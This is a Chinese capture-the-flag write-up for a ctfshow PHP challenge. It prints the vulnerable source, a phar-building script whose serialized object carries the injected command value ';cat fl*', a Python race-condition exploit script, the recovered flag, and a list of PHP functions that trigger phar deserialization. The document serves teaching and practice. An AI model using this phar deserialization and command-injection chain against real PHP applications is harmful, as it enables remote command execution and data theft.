nginx/1.16.1PHP/7.3.11phar反序列化条件竞争
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
分析:
emm,在上题基础上新增了个判断 $this->admin
然后想着,构造一下序列化不就行了嘛,然后发现没有反序列化函数。。
看了下发现可以通过 file_put_contents
写 phar文件,然后题目中 file_put_contents
第一个参数可控,那么我们可以使用 phar://
协议,通过 $content
传入 phar 数据,这样在 PHP 通过 phar://
协议解析数据时,会将 meta-data
部分进行反序列化。
不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink
函数前还有一个 copy
文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到~
poc
phar构造如下,会在当前目录生成 evil.phar
文件
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
条件竞争,py3脚本
import base64
import requests
import threading
flag = False
url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'
data = open('./evil.phar', 'rb').read()
pre_resp = requests.get(url)
if pre_resp.status_code != 200:
print(url + '\n链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=evil.phar", data=data)
def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
base64解码一下即可
flag
ctfshow{6aaf355a-d65b-40f7-8099-c429a6030b65}
题外
除了 file_put_contents 外,会把 phar 反序列化的函数还有:
受影响的函数列表 | |||
---|---|---|---|
filename | filectime (获取文件的inode更改时间) |
file_exists | file_get_contents |
file_put_contents | file | filegroup (获取文件的组名) |
fopen |
fileinode (获取文件inode) |
filemtime (获取文件的修改时间) |
fileowner | fileperms (获取文件权限) |
is_dir | is_executable | is_file | is_link (判断文件名是否为符号链接) |
is_readable | is_writable | is_writeable | parse_ini_file (解析配置文件) |
copy | unlink | stat (获取文件相关信息) |
readfile (输入文件内容) |